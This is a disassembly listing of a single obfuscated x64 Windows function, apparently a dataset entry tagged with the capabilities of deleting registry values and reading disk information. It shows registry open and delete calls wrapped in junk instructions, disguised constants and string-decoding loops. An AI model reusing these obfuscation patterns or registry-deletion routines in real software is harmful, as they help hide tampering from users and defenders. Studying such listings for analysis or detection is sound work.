Function at 0x14007bca0
Capabilities:
Delete registry value
Get disk information

Disassembly:
xchg rsp, rax
mov rsp, rax
xchg rsp, rax
xchg rbx, r14
mov qword [rax + 0x10], r14
jmp 0x14007bd31
call qword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
test eax, eax
mov dword [rsp - 0x10], ecx
jmp 0x14007c021
ja 0x14007c18f
lea rax, [rbx + r8]
xchg rsi, rax
mov qword [rsp + 0x40], rsi
jmp 0x14007c0bb
sub rbx, 0x6a9438f8
xor rbx, 0x508cc107
xor rbx, 0x3fb2a52d
add rbx, 0x7fffffff
add rbx, 0x1a052f77
mov r8, rbx
jmp 0x14007bea0
cmovae rcx, qword [rbp - 0x58]
mov r8d, 0x67c4af14
sub r8d, 0x47f9a6cf
add r8d, 0xc9136b7
sub r8d, 0xbe1dd55
add r8d, 0x4d76abc4
jmp 0x14007bd4e
xchg r14, rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov dword [rsp - 0x30], esi
nop
sub rsp, 8
mov qword [rsp], rbp
jmp 0x14007bf30
sub r8d, 0x5526384d
xor r8d, 0x18cad41a
lea rdx, [rbp - 0x10]
jmp 0x14007bcb3
xchg r14, rax
mov rax, qword [0x140248220]
xchg rsp, rsp
xor rax, rsp
jmp 0x14007c0e9
xchg r10, rcx
xor r14d, r14d
mov dword [rsp - 0xc], 0x3eb6c022
xchg r14, r8
mov qword [rbp - 0x58], r8
jmp 0x14007bf40
cmp rdx, 0x1000
jb 0x14007bfb3
neg rdx
add rdx, 0xffffffffffffffd9
jmp 0x14007be0e
xchg rcx, rax
mov rcx, rax
xchg rcx, rax
sub rax, r8
cmp rbx, rax
mov r9, r9
jmp 0x14007bcc4
cmp rax, 2
jb 0x14007d663
add rax, 0xfffffffffffffffe
xchg r14, r14
nop
movabs rbx, 0xffffffff6ac97481
xor rbx, 0x1f91991a
jmp 0x14007bcda
mov qword [rbp - 0x40], 0x37970e3d
xor qword [rbp - 0x40], 0x62c27453
sub qword [rbp - 0x40], 0x1246502d
sub qword [rbp - 0x40], 0x474f35f
jmp 0x14007bfbf
neg rdx
mov rcx, qword [rcx - 8]
mov r13, r13
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jmp 0x14007bfa5
cmp qword [rcx + 0x18], 0x10
jb 0x14007be3a
mov dword [rsp - 0x44], edi
mov rdx, qword [rcx]
lea rcx, [rbp - 0x58]
call fcn.140018620
jmp 0x14007be6c
nop
lea rax, [rbp - 0x10]
nop
mov rbp, rbp
inc rbx
cmp byte [rax + rbx], 0
jmp 0x14007bf82
movaps xmmword [rax - 0x38], xmm7
mov rbp, rbp
xchg r9, rax
jmp 0x14007c037
lea rcx, [rbp - 0x58]
mov rsp, rsp
cmp qword [rbp - 0x40], 0x10
jmp 0x14007bd05
jb 0x14007be8a
mov dword [rsp - 0x44], ebx
mov rdi, qword [rdi]
lea rdx, [rdi + 2]
lea rcx, [rsp + 0x30]
mov r13, r13
call fcn.140018620
jmp 0x14007be48
mov dword [rsp - 0x14], edx
cmp rax, rbx
cmovb r8, rax
cmp qword [rdi + 0x18], 0x10
jmp 0x14007be7d
mov qword [rsp + 0x40], rbp
xchg rbp, r14
mov qword [rsp + 0x48], 0x5f7d2141
add qword [rsp + 0x48], 0x5d35ac2
xor qword [rsp + 0x48], 0x1b032d9d
sub qword [rsp + 0x48], 0x65ec650
sub qword [rsp + 0x48], 0x34b656d1
jmp 0x14007bfec
mov rbx, rbx
lea rcx, [rbp - 0x10]
cmp rcx, rax
ja 0x14007c114
mov r11, r11
lea rax, [rbp - 0x10]
jmp 0x14007bf52
sub rsp, 8
mov qword [rsp], r15
lea rbp, [rax - 0x168]
neg rsp
sub rsp, 0xfffffffffffffdb0
neg rsp
movaps xmmword [rax - 0x28], xmm6
jmp 0x14007be5e
nop
push 0x452fc54c
mov qword [rsp], r14
nop
jmp 0x14007bf0b
xchg r14, r8
xchg r14, r13
mov qword [rbp - 0x48], r13
xchg r13, r14
jmp 0x14007bde9
cmp rdi, rax
ja 0x14007c0ff
xchg r15, rsi
mov r15, r14
xchg rsi, r15
jmp 0x14007c11d
mov r8d, 0x4869bb8a
xor r8d, 0x6a972a91
add r8d, 0x34117ecc
jmp 0x14007c060
jne 0x14007be52
mov dword [rsp - 0xc], 0x8a86ab9
mov r8, qword [rsp + 0x40]
xchg rcx, r12
mov r12, qword [rsp + 0x48]
xchg r12, rcx
jmp 0x14007bdac
ja 0x14007d65d
mov dword [rsp - 0x34], 0x214e3e5a
call fcn.1400dcd18
test bl, bl
jmp 0x14007c04a
sub qword [rbp - 0x40], 0xc2d38e1
add qword [rbp - 0x40], 0x3f9353ec
xor qword [rbp - 0x40], 0x2914862f
xor qword [rbp - 0x40], 0x62604e4b
sub qword [rbp - 0x40], 0x3974997a
jmp 0x14007bf69
sub qword [rsp + 0x48], 0xc5e7fe9
sub qword [rsp + 0x48], 0x52c83c6
add qword [rsp + 0x48], 0x2112b6f8
sub qword [rsp + 0x48], 0x52c5e7b7
mov byte [rsp + 0x30], r14b
mov rdi, rdi
mov rax, qword [rdi + 0x10]
jmp 0x14007bdc1
setne bl
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x14007bfb8
jmp 0x14007c0a1
movaps xmmword [r9 - 0x48], xmm8
xchg r9, rax
xchg r14, rax
movaps xmmword [r14 - 0x58], xmm9
jmp 0x14007bd65
je 0x14007d35a
mov dword [rsp - 0x34], 0x6974cf9d
xchg r14, rdx
jmp 0x14007c0d9
sub r8d, 0x38bde6d9
add r8d, 0xf07542f
sub r8d, 0x2d597d3b
cmp qword [rcx + 0x10], r8
mov r11, r11
cmovb r8, qword [rcx + 0x10]
mov rdx, rcx
jmp 0x14007be28
mov r11, r11
add rax, rbx
cmp rax, rdi
jbe 0x14007c114
lea rax, [rdi + r8]
jmp 0x14007beef
mov dword [rsp - 0x30], 0x1993aa1d
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
xchg r14, r14
jmp 0x14007bd93
xchg rsi, rax
lea rdi, [rsp + 0x30]
mov dword [rsp - 0x20], ecx
cmp rcx, 0x10
cmovae rdi, qword [rsp + 0x30]
lea rax, [rbp - 0x10]
jmp 0x14007c089
mov qword [rsp + 0x30], rdx
xchg r14, rdx
xchg r14, rbp
jmp 0x14007beb5
xchg r15, rax
mov qword [rbp + 0x100], r15
xchg r15, rax
xchg rcx, r10
mov rdi, r10
jmp 0x14007bd79
lea rax, [rbp - 0x10]
xchg rdi, rsi
mov rdi, rsi
xchg rsi, rdi
sub rsi, rax
jmp 0x14007c11d
xchg rbx, rsi
mov rbx, rsi
xchg rbx, rsi
lea rcx, [rdi + rbx]
jmp 0x14007c126
inc r8
mov rdx, rdi
mov dword [rsp - 0x14], ecx
jmp 0x14007c160
add rdx, rax
call fcn.1400deed0
lea rax, [rsp + 0x30]
xchg rdx, rdx
jmp 0x14007d56f
lea rcx, [rdi + rsi]
mov dword [rsp - 0x38], edx
xchg rbp, r8
mov rbp, rbx
xchg rbp, r8
jmp 0x14007c17c
call fcn.1400deed0
mov r8, rsi
lea rdx, [rbp - 0x10]
xchg rcx, rcx
mov rcx, rdi
call fcn.1400deed0
jmp 0x14007c14a
sub r8, rsi
lea rax, [rsi + rbx]
lea rdx, [rbp - 0x10]
xchg rdi, rdi
jmp 0x14007c135
xchg rdx, rbx
mov qword [rsp + 0x28], rdx
xchg rbx, rdx
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
jmp 0x14007c417
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
mov dword [rsp - 0x18], 0x71279a0d
jmp 0x14007d57b
mov rcx, qword [rsp + 0x30]
xchg rcx, rdx
mov rax, rdx
xchg rdx, rcx
cmp rdx, 0x1000
mov rsi, rsi
jmp 0x14007cab9
movd xmm8, r15d
movdqa xmm0, xmmword [0x14010c310]
xchg rsi, rsp
movdqa xmmword [rsi + 0x30], xmm0
xchg rsp, rsi
lea rcx, [rsp + 0x54]
mov dword [rsp - 0x2c], ebp
jmp 0x14007d25d
movsd qword [r8 - 0x80], xmm1
xchg rbp, r8
mov eax, dword [0x14010f518]
mov dword [rsp - 0x2c], 0x71452cd1
mov dword [rbp - 0x78], eax
movzx eax, byte [0x14010f51c]
jmp 0x14007d2ef
mov r13, qword [rsp + 0x48]
xchg r13, rdx
cmp rdx, 0x10
mov rcx, rcx
jb 0x14007c674
jmp 0x14007c394
paddw xmm3, xmm2
mov dword [rsp - 0x38], 0x35311b1a
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
mov rdx, rdx
lea eax, [r8 + 4]
jmp 0x14007cf96
movdqa xmm7, xmmword [str.6666]
movd xmm8, r15d
mov dword [rsp - 0x38], ecx
movdqa xmm9, xmmword [0x14010c2f0]
lea rdx, [rsp + 0x50]
nop dword [rax + rax]
jmp 0x14007c746
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov dword [rsp - 0x44], 0x66f6ac55
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
xchg rdi, rdi
jmp 0x14007c766
pmuldq xmm0, xmm4
mov dword [rsp - 0x18], 0x34a7817f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov r10, r10
jmp 0x14007c92b
mov dword [rsp - 0x24], edi
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
xchg rdx, rdx
movd xmm0, edx
jmp 0x14007c86c
jl 0x14007cef3
cmp r8d, 0x27
jge 0x14007d292
mov r9, r9
movsxd rax, r8d
jmp 0x14007cbeb
mov dword [rsp - 0x44], ebp
movzx eax, word [0x14010f4dc]
mov word [rbp - 0x64], ax
mov r8d, r14d
cmp ebx, 2
xchg r9, r9
jl 0x14007c316
jmp 0x14007c83a
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
xchg rbx, rbx
lea rcx, [rcx + 8]
cmp r8d, 0x38
jmp 0x14007cc57
pmuldq xmm1, xmm4
mov dword [rsp - 0x24], 0x24d2a0ce
movdqa xmm0, xmm2
jmp 0x14007c4a2
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
mov dword [rsp - 0x18], edi
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
jmp 0x14007c5e3
inc rdx
mov rcx, qword [rsp + 0x30]
mov dword [rsp - 0x20], ebp
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007c66f
jmp 0x14007c7a2
lea rdx, [rbp - 0x10]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov r14, r14
jmp 0x14007cb4a
punpckldq xmm1, xmm2
mov dword [rsp - 0x1c], esi
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
jmp 0x14007c2bc
jl 0x14007c94c
movdqa xmm5, xmmword [0x14010c2c0]
mov rcx, rcx
movdqa xmm4, xmmword [0x14010fec0]
movd xmm6, esi
movdqa xmm7, xmmword [str.6666]
mov dword [rsp - 0x10], 0x15ad0122
jmp 0x14007c1e3
xor r9d, r9d
mov dword [rsp - 0x10], 0x6a556276
xor r8d, r8d
xchg r9, rbx
mov rdx, r9
jmp 0x14007cae3
mov dword [rsp - 0x2c], 0x11b77fce
call fcn.1400dcd18
mov qword [rbp - 0x48], r14
mov qword [rbp - 0x40], 0x434e4df9
jmp 0x14007c509
sub esi, 0x4ac408eb
lea r15d, [rsi + 0x1b]
mov rdx, rdx
mov ebx, dword [0x140248200]
cmp ebx, 2
jmp 0x14007c3e5
movzx eax, dx
xchg r13, r13
imul edx, eax, 0x36
movzx eax, cx
sub ax, dx
add ax, 0x32
jmp 0x14007c629
lea rcx, [rbp - 0x60]
xchg rcx, r12
mov qword [rsp + 0x20], r12
xchg r12, rcx
mov r9d, 0x6d9b5ab0
add r9d, 0x32beecb
jmp 0x14007cfff
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
jmp 0x14007d453
mov qword [rax + 0x18], 0x4837bad6
xor qword [rax + 0x18], 0x458f6a7
add qword [rax + 0x18], 0x163ec9db
sub qword [rax + 0x18], 0x3e3771fa
xor qword [rax + 0x18], 0x1908b34a
xor qword [rax + 0x18], 0x3d7e1717
mov byte [rax], 0x24
jmp 0x14007d3af
shr eax, 4
shr eax, 1
add edx, eax
jmp 0x14007c469
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
xchg rdx, rdx
jmp 0x14007c95f
add qword [rbp - 0x40], 0x13fe7d2f
sub qword [rbp - 0x40], 0x402b61f9
add qword [rbp - 0x40], 0xc2757e0
add qword [rbp - 0x40], 0x4488643b
xor qword [rbp - 0x40], 0x4222140d
jmp 0x14007ce2c
add rdx, 0x432e23e6
mov rcx, qword [rcx - 8]
sub rax, rcx
xchg rcx, rcx
jmp 0x14007d153
xchg rcx, rbp
mov rbp, qword [rsp + 0x30]
xchg rbp, rcx
xchg rbp, rax
jmp 0x14007ce0a
imul r8d
xchg r10, r10
sar edx, 4
mov eax, edx
shr eax, 0x1b
shr eax, 3
jmp 0x14007c596
movdqa xmm1, xmm2
mov dword [rsp - 0x20], edx
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
mov dword [rsp - 0x40], esp
punpckhdq xmm0, xmm2
jmp 0x14007c4f8
shr eax, 1
add edx, eax
mov dword [rsp - 0x3c], esi
movsx eax, dl
jmp 0x14007c65c
mov r14, r14
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
mov dword [rsp - 0x28], esi
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
jmp 0x14007cbc2
pmulld xmm0, xmm7
psubd xmm3, xmm0
mov dword [rsp - 0x20], 0x37863771
jmp 0x14007d29d
pxor xmm3, xmm0
xchg r14, r14
movq qword [rcx + 8], xmm3
nop
jmp 0x14007d1df
jb 0x14007d35a
mov dword [rsp - 0x1c], edx
inc rdx
xchg r11, rcx
mov r11, qword [rbp - 0x38]
xchg r11, rcx
jmp 0x14007cb07
xchg rsi, rsp
movsd xmm1, qword [0x14010f480]
mov dword [rsp - 0x38], 0x698fdb83
jmp 0x14007ca14
xchg rsp, rsp
xor word [r8], ax
inc ecx
lea r8, [r8 + 2]
jmp 0x14007ce81
add r9d, 0x3e2e6554
sub r9d, 0x5c17b27
sub r9d, 0x417f904d
add r9d, 0x60ae774
jmp 0x14007d0a1
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
xchg r11, r11
neg al
jmp 0x14007d59d
call fcn.1400dcd18
xchg r14, r11
mov qword [rsp + 0x40], r11
xchg r11, r14
mov qword [rsp + 0x48], 0x60f70798
sub qword [rsp + 0x48], 0x29c624a
jmp 0x14007d501
pand xmm2, xmmword [0x14010c300]
mov r9, r9
packuswb xmm2, xmm2
jmp 0x14007cca2
movd dword [rcx - 4], xmm2
mov dword [rsp - 0xc], ebp
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
mov r13, r13
paddd xmm3, xmm5
jmp 0x14007d300
mov dword [rsp - 0x24], 0x4228457f
jb 0x14007c43d
inc rdx
mov rcx, qword [rbp - 0x58]
mov r13, r13
xchg rbp, rax
mov rbp, rcx
jmp 0x14007c81b
xchg rsp, rbx
movups xmm1, xmmword [0x14010f550]
mov dword [rsp - 0x14], 0x56ecb338
xchg rbp, rdx
jmp 0x14007d3c9
mov dword [rsp - 0x34], edx
xor rcx, rsp
call fcn.1400dce30
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x28]
mov dword [rsp - 0x44], 0x62ba53a5
jmp 0x14007d3fb
mov r8, rsp
xchg r10, rsp
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
mov dword [rsp - 0x44], esp
jmp 0x14007d11b
mov rdx, rdx
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
xchg rdi, rdi
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
jmp 0x14007c35d
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
mov dword [rsp - 0x3c], 0x15e68efc
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
jmp 0x14007d33b
mov eax, edx
mov r10, r10
shr eax, 0x17
shr eax, 3
jmp 0x14007c4ec
nop
add rdx, 0x6ef7cd4e
sub rdx, 0x6ef7cd27
mov rcx, qword [rcx - 8]
xchg rsp, rsp
sub rax, rcx
sub rax, 8
jmp 0x14007cacc
mov dword [rsp - 0x3c], ebp
xchg rdx, rsp
movups xmmword [rdx + 0x60], xmm1
xchg rsp, rdx
movups xmm0, xmmword [0x14010f540]
xchg rbx, rsp
movups xmmword [rbx + 0x70], xmm0
jmp 0x14007c6ee
mov rax, qword [rax]
mov dword [rsp - 0x18], ebx
lea rdx, [rbp - 0x60]
xchg rdx, rbx
mov qword [rsp + 0x20], rbx
jmp 0x14007d388
movq xmm0, qword [rdx]
mov rsp, rsp
pxor xmm3, xmm0
movq qword [rdx], xmm3
lea eax, [rcx + 4]
movd xmm2, eax
mov rbx, rbx
jmp 0x14007c1a8
xchg rbp, rax
cmp rdx, 0x1000
xchg rbx, rbx
jb 0x14007c438
nop
add rdx, 0x7870ea8b
jmp 0x14007d468
movdqa xmm5, xmmword [0x14010c2c0]
movdqa xmm4, xmmword [0x14010fec0]
mov dword [rsp - 0x34], 0x7c697e77
jmp 0x14007d18a
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
mov rcx, rcx
shufps xmm1, xmm0, 0xdd
jmp 0x14007d4e8
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
mov dword [rsp - 0x2c], 0x4cedb24b
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
jmp 0x14007cecc
sub byte [rbp - 0x58], 0x19
xchg rdx, rcx
mov rcx, qword [rbp - 0x20]
xchg rcx, rdx
cmp rdx, 0x10
jmp 0x14007c5f5
nop
movabs rcx, 0xffffffff6f9ecd0d
sub rcx, 0x2d6af10
sub rcx, 0x1cda71d1
sub rcx, 0x4761585f
jmp 0x14007d494
xor esi, 0x4c33f8c8
xor esi, 0x36ff39b
xor esi, 0x32a23a9e
xor esi, 0x27ad0c76
add esi, 0x244e12f2
sub esi, 0x12913d29
jmp 0x14007c44e
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
nop
add r8d, 0x10819aaa
sub r8d, 0x10819aa2
jmp 0x14007cc41
imul ecx, eax, 0x36
movzx eax, r8w
sub ax, cx
mov dword [rsp - 0x40], ebx
add ax, 0x32
jmp 0x14007cb6a
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
jmp 0x14007d0e8
cmp r8d, 0x39
mov dword [rsp - 0x3c], ebx
jge 0x14007ca9e
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
xchg rsi, rsi
jmp 0x14007d02d
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
mov dword [rsp - 0x40], ebp
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
jmp 0x14007c5a6
sub byte [rsp + 0x30], 0x3a
lea rcx, [rbp - 0x58]
xchg rbx, rbx
call fcn.1400a3870
nop
lea r10, [rbp - 0x58]
jmp 0x14007cd73
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
mov dword [rsp - 0xc], 0x2aae95fb
movq xmm2, xmm9
jmp 0x14007d2b1
mov r14, qword [rbp - 0x60]
xchg r14, rcx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r11, r11
lea r10, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
jmp 0x14007ce5e
mov eax, 0x5f720f79
xor eax, 0x1b04b1af
add eax, 0x2e52d883
add eax, 0xbebcfbf
xor eax, 0x759f517e
xor eax, 0x1468525f
jmp 0x14007cdde
xor eax, 0x592d6dab
sub eax, 0x5f90824
imul r8d
mov r15, r15
jmp 0x14007ca78
movsd qword [rbp - 0x80], xmm1
movzx eax, byte [0x14010f488]
mov byte [rbp - 0x78], al
mov r8d, r14d
xchg r9, r9
mov esi, 0x616c23
xor esi, 0x633562be
jmp 0x14007c8cb
movsxd rax, ecx
lea r8, [rsp + 0x50]
lea r8, [r8 + rax*2]
jmp 0x14007cd9c
sar edx, 4
mov eax, edx
shr eax, 0x15
jmp 0x14007cb79
inc r8d
lea r9, [r9 + 1]
mov dword [rsp - 0x38], 0x4067c647
cmp r8d, 0x39
jl 0x14007d03b
xchg r10, rsp
jmp 0x14007c72d
mov dword [rbp - 0x68], eax
mov dword [rsp - 0x10], esi
movzx eax, word [0x14010f56c]
jmp 0x14007caf3
jb 0x14007d160
nop
sub rdx, 0x432e23bf
jmp 0x14007c536
cmp rax, 0x1f
mov dword [rsp - 0x44], 0x75562481
ja 0x14007d689
jmp 0x14007c66f
xchg rbx, r9
lea rcx, [rsp + 0x30]
xchg r12, r12
jmp 0x14007d56a
mov word [rbp - 0x64], ax
mov ecx, r14d
mov dword [rsp - 0x1c], 0x34d3b27
jmp 0x14007cc1b
xchg rcx, rax
mov rcx, rax
xchg rcx, rax
jmp 0x14007cf6a
shr eax, 1
add edx, eax
movzx eax, dx
xchg r11, r11
jmp 0x14007c914
sub byte [rsp + 0x30], 0x33
add byte [rsp + 0x30], 0x3c
sub byte [rsp + 0x30], 0x54
add byte [rsp + 0x30], 0x47
xor byte [rsp + 0x30], 0x2c
sub byte [rsp + 0x30], 0x30
sub byte [rsp + 0x30], 0x10
jmp 0x14007c982
mov r9d, eax
test eax, 0xfffffffd
je 0x14007d600
movups xmm0, xmmword [0x14010f520]
xchg r11, r11
xchg rsp, r11
jmp 0x14007d410
xor word [r9], ax
inc r8d
mov r14, r14
jmp 0x14007d284
shr eax, 7
shr eax, 1
shr eax, 1
jmp 0x14007d0bb
imul ecx
sar edx, 3
sar edx, 1
jmp 0x14007c792
add rcx, 0x35542d4c
sub rcx, 0x3a2f1203
sub rcx, 0x24e74be
jmp 0x14007cf80
movsd qword [r11 - 0x70], xmm0
xchg r11, rbp
mov eax, dword [0x14010f4d8]
mov dword [rbp - 0x68], eax
jmp 0x14007c31e
movd xmm0, edx
mov dword [rsp - 0x14], esp
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
jmp 0x14007c6aa
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r15
jmp 0x14007ccb7
lea r9, [rsp + 0x50]
lea r9, [r9 + rax*2]
nop dword [rax]
mov dword [rsp - 0x10], 0x47d22e2a
jmp 0x14007c9dc
imul r8d
xchg rsi, rsi
sar edx, 1
sar edx, 1
sar edx, 2
mov eax, edx
shr eax, 0x1e
jmp 0x14007cb13
cmp ebx, 2
jl 0x14007ca67
movdqa xmm5, xmmword [0x14010c2c0]
mov dword [rsp - 0x10], ecx
movdqa xmm4, xmmword [0x14010fec0]
movd xmm6, esi
jmp 0x14007c26d
lea rcx, [rcx + 8]
xchg r9, r9
cmp r8d, 0x38
jl 0x14007d26d
jmp 0x14007c93e
jl 0x14007ce9e
cmp r8d, 0x3d
mov dword [rsp - 0x3c], 0x59b63b3e
jge 0x14007cfe8
movsxd rax, r8d
lea r9, [rsp + 0x50]
jmp 0x14007d31e
xchg r11, rbp
movaps xmm9, xmmword [rbp - 0x40]
xchg r11, rbp
xchg r11, rsp
jmp 0x14007d424
mov r14, r14
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x14010f568]
jmp 0x14007caa6
movd xmm0, edx
paddb xmm2, xmm0
mov dword [rsp - 0x40], 0x72374254
jmp 0x14007c8f4
mov dword [rsp - 0x1c], 0x2bc67471
ja 0x14007d676
call fcn.1400dcd18
test edi, edi
mov dword [rsp - 0x30], 0x4e0afe81
jne 0x14007d613
jmp 0x14007c3b5
movups xmm0, xmmword [0x14010f4b0]
xchg rbp, rbp
movups xmmword [rsp + 0x70], xmm0
jmp 0x14007d366
jl 0x14007cc6f
movdqa xmm5, xmmword [0x14010c2c0]
movdqa xmm4, xmmword [0x14010fec0]
mov dword [rsp - 0x18], ecx
movd xmm6, esi
jmp 0x14007d5c7
sub rax, rcx
nop
sub rax, 0xfffffffffd716356
add rax, 0xfffffffffd71634e
cmp rax, 0x1f
mov r12, r12
jmp 0x14007d34f
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
mov dword [rsp - 0x20], edx
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
jmp 0x14007c373
lea rdx, [rbp - 0x10]
mov r14, r14
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov r10d, eax
test eax, 0xfffffffd
xchg r10, r10
jmp 0x14007d216
mov dword [rsp - 0x40], 0x52dced08
cmp qword [rbp - 0x40], 0x10
cmovae r10, qword [rbp - 0x58]
movups xmm0, xmmword [str.ajgaszdzUUHOQS]
xchg rdi, rdi
xchg r15, rsp
movups xmmword [r15 + 0x50], xmm0
jmp 0x14007d07c
nop dword [rax + rax]
mov dword [rsp - 0x40], edx
mov eax, 0x231662bc
xor eax, 0x277d774c
add eax, 0x11abdd36
jmp 0x14007d3dd
mov r11, r11
xchg r11, rsp
movups xmmword [r11 + 0x70], xmm0
xchg rsp, r11
movsd xmm1, qword [0x14010f510]
mov dword [rsp - 0x38], ecx
xchg rbp, r8
jmp 0x14007c209
add eax, 0x381a43e5
xor eax, 0x39937152
xor eax, 0x2515cbbb
jmp 0x14007cc04
movaps xmm7, xmmword [r15 - 0x20]
xchg r15, r11
xchg r11, rcx
movaps xmm8, xmmword [rcx - 0x30]
xchg rcx, r11
jmp 0x14007cc7c
mov rbp, rcx
xchg rbp, rax
cmp rdx, 0x1000
jb 0x14007ccc5
add rdx, 0x27
mov r12, r12
mov rcx, qword [rcx - 8]
jmp 0x14007cbdc
add qword [rbp - 0x40], 0x366e0ad
sub qword [rbp - 0x40], 0x295a11e5
mov byte [rbp - 0x58], socket
add byte [rbp - 0x58], 0x42
sub byte [rbp - 0x58], 0x55
jmp 0x14007d47f
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp - 0x1c], esp
mov edi, eax
jmp 0x14007d23d
cmovae r10, qword [rbp - 0x58]
movups xmm0, xmmword [0x14010f4e0]
mov dword [rsp - 0x38], 0x241866a5
xchg rsp, rcx
movups xmmword [rcx + 0x50], xmm0
xchg rcx, rsp
jmp 0x14007d54d
xchg rbx, rbx
cmp ecx, 0x27
jl 0x14007cda8
mov edx, r9d
lea rcx, [rsp + 0x50]
jmp 0x14007d5f7
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
mov dword [rsp - 0x2c], 0x4655df08
jmp 0x14007cfbb
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
jmp 0x14007c2dd
movd xmm3, eax
mov dword [rsp - 0x30], 0x5580e7cf
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
jmp 0x14007d43d
nop dword [rax + rax]
movd xmm2, r8d
xchg rcx, rcx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
jmp 0x14007c3cb
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
jmp 0x14007c7fd
mov dword [rsp - 0x14], esi
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
mov dword [rsp - 0x1c], esp
paddd xmm0, xmm1
jmp 0x14007ceb9
sub rdx, 0x1dc45018
add rdx, 0x1dc4503f
mov rcx, qword [rcx - 8]
mov r11, r11
jmp 0x14007cd16
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
jmp 0x14007cf20
cmp rdx, 0x1000
jb 0x14007d355
mov r9, r9
nop
jmp 0x14007cf3e
add rcx, 0x604d1873
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp - 0x30], edx
jmp 0x14007d4ae
movd xmm2, eax
pshufd xmm2, xmm2, 0
xchg rcx, rcx
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
mov dword [rsp - 0x18], 0x1c966dbd
jmp 0x14007d1b1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
xchg rsp, rsp
movdqa xmm0, xmm2
jmp 0x14007cf58
mov rdi, rdi
lea r9, [r9 + 1]
cmp r8d, 0x3d
jl 0x14007d331
xchg r11, r11
mov r8, r10
jmp 0x14007d632
xchg rsp, rdx
movups xmmword [rdx + 0x60], xmm1
xchg rsp, rdx
jmp 0x14007ccdf
sub r9d, 0x2968c43e
add r9d, 0x2205fc57
add r9d, 0x6f5ea1f
sub r9d, 0x6df06ac9
sub r9d, 0x25b00ab
xor r8d, r8d
mov rdx, rax
jmp 0x14007c8a6
nop dword [rax]
nop word [rax + rax]
mov eax, 0x675d46b3
xor eax, 0x724a3d2c
xor eax, 0x43c56a18
sub eax, 0x76148ee
sub eax, 0x467251e9
jmp 0x14007c9ff
movdqa xmm0, xmm1
mov dword [rsp - 0x14], esp
psrld xmm0, xmm8
